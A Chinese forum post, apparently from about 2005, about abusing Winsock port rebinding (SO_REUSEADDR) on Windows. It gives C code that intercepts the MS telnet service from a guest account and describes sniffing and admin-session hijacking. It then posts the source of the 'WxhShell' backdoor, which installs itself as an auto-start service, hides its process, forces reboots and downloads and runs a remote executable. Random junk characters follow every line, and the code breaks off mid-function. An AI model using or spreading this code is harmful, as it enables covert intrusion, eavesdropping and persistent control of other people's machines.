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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zqe[2()  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %y^ Kw  
qz_TcU'  
  saddr.sin_family = AF_INET; Y;F,GxR}  
56~da ){gd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CBgFB-!qpe  
khO<Z^wi[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &hM,b!R|  
-QHzf&D?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B'#gs'fl  
f@V{}&ZWp  
  这意味着什么?意味着可以进行如下的攻击: U:\oGa84A  
=S?-=jPtg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^/RM;`h0  
P$#}-15?|_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W} +6L|  
^SL}wC x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IEKX'+t'  
g5TLX &Bd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dT-O8  
6`PGV+3j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {10+(Vl  
Y&!McM!Jw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P)o[p(  
~TmHnAz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W9V=hQ2  
, ?s k J  
  #include 9?mOLDu}Q0  
  #include S g_?.XZc[  
  #include AXv3jH,HF  
  #include    7*8nUq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j2&OYg  
  int main() :r|P?;t(  
  { p`V9+CA  
  WORD wVersionRequested; j?` D\LZhf  
  DWORD ret; ?9.?w-Q'  
  WSADATA wsaData; @X / =.  
  BOOL val; :$@zX]?M  
  SOCKADDR_IN saddr; kTe<1^,m  
  SOCKADDR_IN scaddr; Q?'W >^*J  
  int err; Ra,on&OP`*  
  SOCKET s; oGjYCVc  
  SOCKET sc; Y&Nv>o_}5  
  int caddsize; :.o0<  
  HANDLE mt; # T#FUI1p  
  DWORD tid;   ynz5Dy.d;  
  wVersionRequested = MAKEWORD( 2, 2 ); ;]ZHD$g  
  err = WSAStartup( wVersionRequested, &wsaData ); ViC76aJ  
  if ( err != 0 ) { vf'jz`Z  
  printf("error!WSAStartup failed!\n"); G37L 9IG-M  
  return -1; ^rZ+H@p:6  
  } J'&? =|  
  saddr.sin_family = AF_INET; ^|axtVhMO  
   X=RmCc$:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \>CBam8d  
wB 0WR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rEyMSLN  
  saddr.sin_port = htons(23); W2V@\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,DsT:8  
  { t jBv{  
  printf("error!socket failed!\n"); e}@J?tJK.L  
  return -1; < 2r#vmM  
  } <L[)P{jn?p  
  val = TRUE; H  "/e%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @n y{.s+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +hYmL Sq  
  { '3 ,JL!  
  printf("error!setsockopt failed!\n"); A7}|VV  
  return -1; `>HthK  
  } Wa<NId  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p5 PON0dS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z-=7QK.\{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &]A1 _dy  
+.Ukzu~s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P>cJ~F M  
  { m<;" 1<k  
  ret=GetLastError(); o`]FH _  
  printf("error!bind failed!\n"); +Gs;3jC^  
  return -1; m^&mCo,  
  } '<j p.sZQ  
  listen(s,2); ? 9M+fi  
  while(1) IBHG1<3  
  { Tl{r D(D  
  caddsize = sizeof(scaddr); )4O`%9=M&  
  //接受连接请求 +2enz!z#k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r/w@Dh]{_  
  if(sc!=INVALID_SOCKET) -&^(T  
  { {nWtNyJpS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D%}o26K.C  
  if(mt==NULL) &l)v'  
  { 0iq$bT|  
  printf("Thread Creat Failed!\n"); z~;qDf|I  
  break; { ^k,iTx   
  } W_lNvzag  
  }  o=5uM  
  CloseHandle(mt); w6Ny>(T/  
  } 0L-g'^nn  
  closesocket(s); k3eN;3#&  
  WSACleanup(); VZl0)YLK  
  return 0; / S^m!{  
  }   J*k=|+[  
  DWORD WINAPI ClientThread(LPVOID lpParam) >I ; #BE3  
  { B_1u<00kg  
  SOCKET ss = (SOCKET)lpParam; 0pG(+fN_9  
  SOCKET sc; "lya|;  
  unsigned char buf[4096]; .=<pU k 3G  
  SOCKADDR_IN saddr; ) FsSXnZL  
  long num; $G.|5sEk  
  DWORD val; U9%nku4  
  DWORD ret; /R?uxhV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :H k4i%hGk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2Nzcej  
  saddr.sin_family = AF_INET; 1e%Xyqb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vi~+C@96  
  saddr.sin_port = htons(23); D*b|(Oi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '\qr=0aW  
  { FX%E7H  
  printf("error!socket failed!\n"); :jCaDhK  
  return -1; ?XrTZ{5'  
  } {x$#5 PW  
  val = 100; 6XqO' G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JH, +F  
  { T 0C'$1T  
  ret = GetLastError(); ,o6:  V]a  
  return -1; 7hE=+V8  
  } Jk{2!uP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U}TQXYAg  
  { S'fq/`2g6  
  ret = GetLastError(); QR8 Q10  
  return -1; &?pAt30K:  
  } bm|8Jbsb&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jt*@,+e|  
  { ^DJ U99  
  printf("error!socket connect failed!\n"); T!$HVHh&,}  
  closesocket(sc); LZ$!=vg4  
  closesocket(ss); `84yGXLK  
  return -1; x$4'a~E  
  } =i<(hgD  
  while(1) )^3655mb  
  { o?\Pw9Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l^Z~^.{y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $RO=r90o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g DIB'Y  
  num = recv(ss,buf,4096,0); fR{7780WZ  
  if(num>0) s_ $@N!  
  send(sc,buf,num,0); VNfx>&`  
  else if(num==0) h{9 pr  
  break; JE!Xf}nEi  
  num = recv(sc,buf,4096,0); ~<-h# B  
  if(num>0) SJe;T  
  send(ss,buf,num,0); 4\iQ%fb  
  else if(num==0) ;bmd<1  
  break; Ml ^Tb#  
  } w Nnb@  
  closesocket(ss); s)=7tHoqB)  
  closesocket(sc); ^4i3#}  
  return 0 ; WR%iUO40  
  } |'#NDFI>}  
M1\/ueOe  
cQb%bmBc5  
========================================================== h<q``hn>  
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下边附上一个代码,,WXhSHELL =0|evC  
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========================================================== *O2j<3CHf  
uLht;-`{n  
#include "stdafx.h" r 6<}S(  
,@MPzpH  
#include <stdio.h> %hh8\5l.:  
#include <string.h> ~CscctD{;  
#include <windows.h>  su$juI{  
#include <winsock2.h> w0SgF/"@  
#include <winsvc.h> +/'jX?7x%  
#include <urlmon.h> +g&W423k_  
nz+KA\iW  
#pragma comment (lib, "Ws2_32.lib") S{06bLXU"  
#pragma comment (lib, "urlmon.lib")  73X]|fy  
ujedvw;sO  
#define MAX_USER   100 // 最大客户端连接数 ^} #!?" Y  
#define BUF_SOCK   200 // sock buffer it@s(1EO#  
#define KEY_BUFF   255 // 输入 buffer 7v_e"[s~  
A>k;o0r  
#define REBOOT     0   // 重启 1-fz564  
#define SHUTDOWN   1   // 关机 Zx{'S3W  
z~al h?H  
#define DEF_PORT   5000 // 监听端口 Bc@e;k@i  
R _%pR_\  
#define REG_LEN     16   // 注册表键长度 OX2\H  
#define SVC_LEN     80   // NT服务名长度 gsAO<Fy  
,\ i q'}i  
// 从dll定义API TgLlmU*qMU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  8j k*N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J\BdC];  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =W=%!A\g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #</yX5!V  
xUUp ?]9y  
// wxhshell配置信息 C}Q2UK-:  
struct WSCFG { Z^'; xn  
  int ws_port;         // 监听端口  AHb   
  char ws_passstr[REG_LEN]; // 口令 K.SHY!U}  
  int ws_autoins;       // 安装标记, 1=yes 0=no [%pZM.jFO  
  char ws_regname[REG_LEN]; // 注册表键名 ObUQB+  
  char ws_svcname[REG_LEN]; // 服务名 i`X{pEKP+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f~Su F,o@h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O(VV-n7U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jn'8F$GU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z&8#1'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }Z|a?J@CZm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 slbV[xR  
53c6dl  
}; gQ[4{+DSf  
%WR  
// default Wxhshell configuration - U|4`{PP  
struct WSCFG wscfg={DEF_PORT, s] qfLC  
    "xuhuanlingzhe", FpEdwzBb<  
    1, G[mYx[BTz  
    "Wxhshell", 6=FuH@Q&  
    "Wxhshell", G(- `FH  
            "WxhShell Service", wFD .3!  
    "Wrsky Windows CmdShell Service", 0;9 LIL5  
    "Please Input Your Password: ", sq%f%?(V  
  1, 0IZV4{  
  "http://www.wrsky.com/wxhshell.exe", vzU%5,  
  "Wxhshell.exe" K(?7E6\vO  
    }; 20q T1!j u  
PSE![whK  
// 消息定义模块 7?4>'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f"Z2&Y@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k`d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wd7*sa3T  
char *msg_ws_ext="\n\rExit."; )-mB^7uXGv  
char *msg_ws_end="\n\rQuit."; 8dv1#F|  
char *msg_ws_boot="\n\rReboot..."; eP)RP6ON{  
char *msg_ws_poff="\n\rShutdown..."; *QLbrR  
char *msg_ws_down="\n\rSave to "; q^s$4q  
Ugn"w E  
char *msg_ws_err="\n\rErr!"; rr*IIG&.5  
char *msg_ws_ok="\n\rOK!"; E4{8 $:q=  
\,WPFV  
char ExeFile[MAX_PATH]; GM5::M]fS  
int nUser = 0; mxIEg?r(  
HANDLE handles[MAX_USER]; m{g{"=}YR  
int OsIsNt; <D__17W:;  
1~+w7Ar =(  
SERVICE_STATUS       serviceStatus; 5)vXmAD/0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l"+=z.l6;  
bvoR?D\-"  
// 函数声明 xn-n{U"  
int Install(void); C$P3&k#W  
int Uninstall(void); !`u)&.t7  
int DownloadFile(char *sURL, SOCKET wsh); 6l4l74  
int Boot(int flag); p(v.sP4w  
void HideProc(void); QAR<.zXvP  
int GetOsVer(void); (b(iL\B$D=  
int Wxhshell(SOCKET wsl); MKbW^:  
void TalkWithClient(void *cs); \oi=fu=}*  
int CmdShell(SOCKET sock); \ZC7vM"h  
int StartFromService(void); b@7 ItzD  
int StartWxhshell(LPSTR lpCmdLine); o,29C7Ii  
h:|aQJG5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nPKj%g3h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A 9u9d\  
#pIb:/2a_  
// 数据结构和表定义 [mm5?23g  
SERVICE_TABLE_ENTRY DispatchTable[] = P6MT[  
{ *+ b[v7  
{wscfg.ws_svcname, NTServiceMain}, $ZA71TzMV  
{NULL, NULL} yEH30zSt  
}; @A:Xct  
?vXy7y&4  
// 自我安装 _^KD&t%!+y  
int Install(void) }{[F+|\>,e  
{ P%1s6fjU  
  char svExeFile[MAX_PATH]; 5n_<)Ycj  
  HKEY key; BUtXHD  
  strcpy(svExeFile,ExeFile); {9z EnVfg  
/t816,i  
// 如果是win9x系统,修改注册表设为自启动 t ({:TQ  
if(!OsIsNt) { nF)|oA   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \=.iM?T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "2 Kh2[K  
  RegCloseKey(key); _ ZJP]5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s)}C&T$Y.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $ED<:[3N  
  RegCloseKey(key);  3N;X|pa  
  return 0; _W$4Qn+f  
    } @6\8&(|  
  } -Z  @cj  
} ]g:VvTJ;?  
else { -gzk,ymp  
mX %;  
// 如果是NT以上系统,安装为系统服务 n#4Ra+dD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +~7@K{6 q-  
if (schSCManager!=0) _KKG^ u<  
{ *dGW=aM#C  
  SC_HANDLE schService = CreateService ,9=a(j"  
  ( !fZxK CsQ  
  schSCManager, v,kedKcxv'  
  wscfg.ws_svcname, ~}uTC36C\  
  wscfg.ws_svcdisp, 4re^j4L~o  
  SERVICE_ALL_ACCESS, BwbvZfV|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n]|[|Rf1  
  SERVICE_AUTO_START, q K]Wk+  
  SERVICE_ERROR_NORMAL, =E{1QA0  
  svExeFile, QH+Oi&xH  
  NULL, Pj^6.f+  
  NULL, `/"TYR%  
  NULL, MwiT1sB~  
  NULL, #*5A]"k  
  NULL @dGj4h.  
  ); =*}|y;I  
  if (schService!=0) R`Q9|yF\  
  { |06G)r&  
  CloseServiceHandle(schService); h T4fKc7P  
  CloseServiceHandle(schSCManager); u"nyx0<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tlc&Wx  
  strcat(svExeFile,wscfg.ws_svcname); i: 1V\q%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tf` ~=fg%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o[_ {\  
  RegCloseKey(key); rqifjsv  
  return 0; s<n5^Vxy  
    } mim]nRd2v  
  }  dY|(  
  CloseServiceHandle(schSCManager); gwNv ;g  
} DT;Hr4Z8^"  
} CJ?Lv2Td  
_ u/N#*D  
return 1; Y!}BmRLh2  
} {R\"x|  
aabnlOVw  
// 自我卸载 c/b} 39X  
int Uninstall(void) ^[!LU  
{ K@6$|.bc  
  HKEY key; >{V]q*[/;Q  
S&FMFXF@  
if(!OsIsNt) { `O-$qT, _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @32JMS<  
  RegDeleteValue(key,wscfg.ws_regname); ]QRhTz  
  RegCloseKey(key); qpFFvZ W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >tYptRP  
  RegDeleteValue(key,wscfg.ws_regname); a~WtW]  
  RegCloseKey(key); c1Xt$[_  
  return 0; 0fwo8NgX  
  } (eFHMRMv~  
} NJwcb=*  
} Y ~xcJH  
else { c=h{^![$  
l\JoWL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )FYz*:f>&  
if (schSCManager!=0) NbSkauF~b  
{ nz~3o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); = T!iM2  
  if (schService!=0) eE+zL ~CE  
  { 4cl}ouG  
  if(DeleteService(schService)!=0) { ZF>zzi+@  
  CloseServiceHandle(schService); b1R%JY7/S  
  CloseServiceHandle(schSCManager); S!0<aFh  
  return 0; ==~X8k|{E  
  } 9H`Q |7g(5  
  CloseServiceHandle(schService); {b}Ri&oEOH  
  } ^F/N-!}q  
  CloseServiceHandle(schSCManager); +<(N]w*  
} D`V03}\-  
} k& 2U&  
eE '\h  
return 1; +m^ gj:yL  
} QQj)"XJ29  
?v \A&d  
// 从指定url下载文件 K]1A,Q  
int DownloadFile(char *sURL, SOCKET wsh) mY+J ju1  
{  km|;T!  
  HRESULT hr; ] K3^0S/  
char seps[]= "/"; /q0[T{Wz$  
char *token; M|w;7P}  
char *file; ]%!:'#  
char myURL[MAX_PATH]; M| :wC  
char myFILE[MAX_PATH]; _Y?p =;  
nn5tOV}QE  
strcpy(myURL,sURL); %A|9=x*  
  token=strtok(myURL,seps); F2saGpGH  
  while(token!=NULL) R%=u<O  
  { 1k EXTs=,  
    file=token; tt $DWmm  
  token=strtok(NULL,seps); 9@9(zUS|  
  } !?,7Cu.5#6  
|@`F !bnLr  
GetCurrentDirectory(MAX_PATH,myFILE); iimTr_TEt  
strcat(myFILE, "\\"); C4Z}WBS(  
strcat(myFILE, file); ^~'tQ}]!"  
  send(wsh,myFILE,strlen(myFILE),0); 9w9[0BX#  
send(wsh,"...",3,0); wM9HZraB<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0z1m!tr  
  if(hr==S_OK) ~oWCTj-  
return 0; [+\=x[q  
else JR] /\(  
return 1; l 8qCg/ew  
O~?H\2S  
} 1tw>C\  
roSdcQTeT  
// 系统电源模块 3#<b!Yz  
int Boot(int flag) Z?ZiK1) K  
{ b{%p  
  HANDLE hToken; Xn@\p5<  
  TOKEN_PRIVILEGES tkp; hLK5s1#K  
0}tf*M+a  
  if(OsIsNt) { 2.)xWCG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c5C 2xE}T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n;+CV~  
    tkp.PrivilegeCount = 1; R9@Dd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E%8Op{zv_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v'na{"  
if(flag==REBOOT) { $a.fQ<,\X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (&t741DN|  
  return 0; #; ~`+[y?\  
} ?-C=_eZJ  
else { g?&_5)&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1?%Q"*Y&  
  return 0; ;n]GHqzY_  
} x8x8T $  
  } #[Z ToE4  
  else { Zq1Z rwPF  
if(flag==REBOOT) { B?n 6o|8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {| ~  
  return 0; Kcf1$`F24  
} J< Ljg<t+  
else { *9T a0e*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IC"lsNq52  
  return 0; r:;nv D  
} 2MY-9(no  
} F/O5Z?C?  
&BTgISYi  
return 1; i82sMN1jl7  
} 9BR/zQ2  
R. :~e  
// win9x进程隐藏模块 $.HZz  
void HideProc(void) ,'!x 9 `  
{ Rn?Yz^ 1q  
3lr9nBR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u*}[fQ`aF  
  if ( hKernel != NULL ) ]6s7?07m4  
  { 8.JFQ/) i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $[(amj-;l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'C[{cr.`  
    FreeLibrary(hKernel); [l# 8}dy  
  } n92*:Y  
v\lhbpk  
return; Hreu3N  
} Yx#?lA2gx  
im,H|u_f4  
// 获取操作系统版本 n $Nb,/o  
int GetOsVer(void) 9d kuvk}:  
{ <e&88{jJ  
  OSVERSIONINFO winfo; ''D\E6c\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]? 2xS?vd  
  GetVersionEx(&winfo); M9~eDw'Pr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +;#z"m]  
  return 1; B|I9Ex~L  
  else Z2P DT  
  return 0; ;@ <E  
} &BOq%*+  
K<3,=gL9[  
// 客户端句柄模块 iEx sGn]2  
int Wxhshell(SOCKET wsl) ]F'o  
{ v;6O# ta'  
  SOCKET wsh; 9f=L'{  
  struct sockaddr_in client; srL|Y&8p  
  DWORD myID; <[l0zE5Z8'  
!m {d6C[  
  while(nUser<MAX_USER) LOO<)XFJ  
{  {^8->V  
  int nSize=sizeof(client); WR|n>i@m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bv:M zYS  
  if(wsh==INVALID_SOCKET) return 1; LI~ofCp  
^+ J3E4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =`st1K  
if(handles[nUser]==0) X mb001  
  closesocket(wsh); s2f6;Yc  
else <Pn]{N  
  nUser++; LC>bZ!(i#  
  } e};\"^H H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'v^Zterr  
dgEH]9j&  
  return 0; iVaCXXf'  
} [[XbKg`"?  
3*(w=;y  
// 关闭 socket MA`.&MA.  
void CloseIt(SOCKET wsh) rbt/b0ET  
{ b}APD))*H!  
closesocket(wsh); HpKF7oJ'N  
nUser--; 7jS`4,  
ExitThread(0); HuI?kLfj\  
} UwtL v d  
5mqwNAv  
// 客户端请求句柄 'g5 Gdn  
void TalkWithClient(void *cs) UG !+&ii|  
{ 90Sp(  
0FAe5 BE7  
  SOCKET wsh=(SOCKET)cs; 9 $&$Fe  
  char pwd[SVC_LEN]; -bP_jIZF;g  
  char cmd[KEY_BUFF]; uN;]Fv@Z  
char chr[1]; P:OI]x4  
int i,j; q?##S'  
;h~v,h  
  while (nUser < MAX_USER) { c0U=Hj@@  
rYI7V?  
if(wscfg.ws_passstr) { K@<%Vc>L(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3;%dn \ D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h uIvXl  
  //ZeroMemory(pwd,KEY_BUFF); vT=?UTq  
      i=0; k.n-JS  
  while(i<SVC_LEN) { }lQ`ka  
4\Q pS  
  // 设置超时 ix+sT|>  
  fd_set FdRead; 0ZAT;eaB  
  struct timeval TimeOut; <=Z`]8  
  FD_ZERO(&FdRead); Jfs_9g5  
  FD_SET(wsh,&FdRead); ,ZWaTp*D/  
  TimeOut.tv_sec=8; rtn.^HF  
  TimeOut.tv_usec=0; nj4G8/U-q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NsN =0ff  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5Tg[-tl  
ozOvpi:k3%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O<>cuW(l  
  pwd=chr[0]; &_dM2lj{  
  if(chr[0]==0xd || chr[0]==0xa) { #I9hKS{  
  pwd=0; ""W*) rR   
  break; 1yd}F`{8UF  
  } *l.tsICmbP  
  i++; @,Kl"i;  
    } |*5HNP  
efrVF5,y?  
  // 如果是非法用户,关闭 socket xT8pwTO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (x!Tb2mlk  
} ;r3Xh)k;  
<$@*'i^7Ez  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U][\|8i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oYR OGU  
[))TL  
while(1) { h%PbM`:}6  
~YQH]  
  ZeroMemory(cmd,KEY_BUFF);  ZcE:r+  
&cf(}  
      // 自动支持客户端 telnet标准   +i@{h9"6g  
  j=0; ZW@%>_JR]  
  while(j<KEY_BUFF) { z@Uf@~+U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Z_7Sc  
  cmd[j]=chr[0]; yKB&][)&  
  if(chr[0]==0xa || chr[0]==0xd) { i$gH{wn\`  
  cmd[j]=0; :G[6c5j|V  
  break; RlUX][)  
  } M" vd /F V  
  j++; J^gElp  
    } E (-@F%Q  
"n%0L4J  
  // 下载文件 kNk$[Yfs  
  if(strstr(cmd,"http://")) { Hw 1:zro  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y*<x@i+h  
  if(DownloadFile(cmd,wsh)) vAcxca">S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |w+N(wcJ  
  else Q4h6K 7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kCHYLv3.  
  } tl"?AQcBR  
  else { yOswqhz  
Yaix\*II  
    switch(cmd[0]) { LK:Jkjp^  
  C )J@`E  
  // 帮助 2>*b.$g  
  case '?': { |))O3]-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nh]}KFO h  
    break; *Y`c.n"  
  } b]6@ O8  
  // 安装 \(`8ng]vs  
  case 'i': { L+D9ZE]  
    if(Install()) g:eq B&&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^\Epz* cL  
    else e1/{bX5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AU 4K$hC^  
    break; t.pn07$  
    } z(eAhK}6?  
  // 卸载 T)o>U &KNP  
  case 'r': { ]114\JE  
    if(Uninstall()) !g7lJ\B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1LVO0lT  
    else zff<#yK1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bdr'd? u<A  
    break; &w%--!T  
    } 5 >\~jf  
  // 显示 wxhshell 所在路径 )>;V72  
  case 'p': { 952l1c!  
    char svExeFile[MAX_PATH]; *;:dJXR  
    strcpy(svExeFile,"\n\r"); oM(8'{S=  
      strcat(svExeFile,ExeFile); }l7@:ezZZ7  
        send(wsh,svExeFile,strlen(svExeFile),0); :^rt8>~  
    break; 0b(x@>  
    } h.jO3q  
  // 重启 s8.SEk|pB  
  case 'b': { S LU$DW;t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CK9FAuU  
    if(Boot(REBOOT)) G\(cnqHk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7m4*dBTr  
    else { } /*U~!t  
    closesocket(wsh); VRB!u420  
    ExitThread(0); K_ Odu^  
    } v3b+Ddp  
    break; DHQs_8Df  
    } 7q(A&  
  // 关机 a.2Xl}2o5  
  case 'd': { =/Ph ]f9  
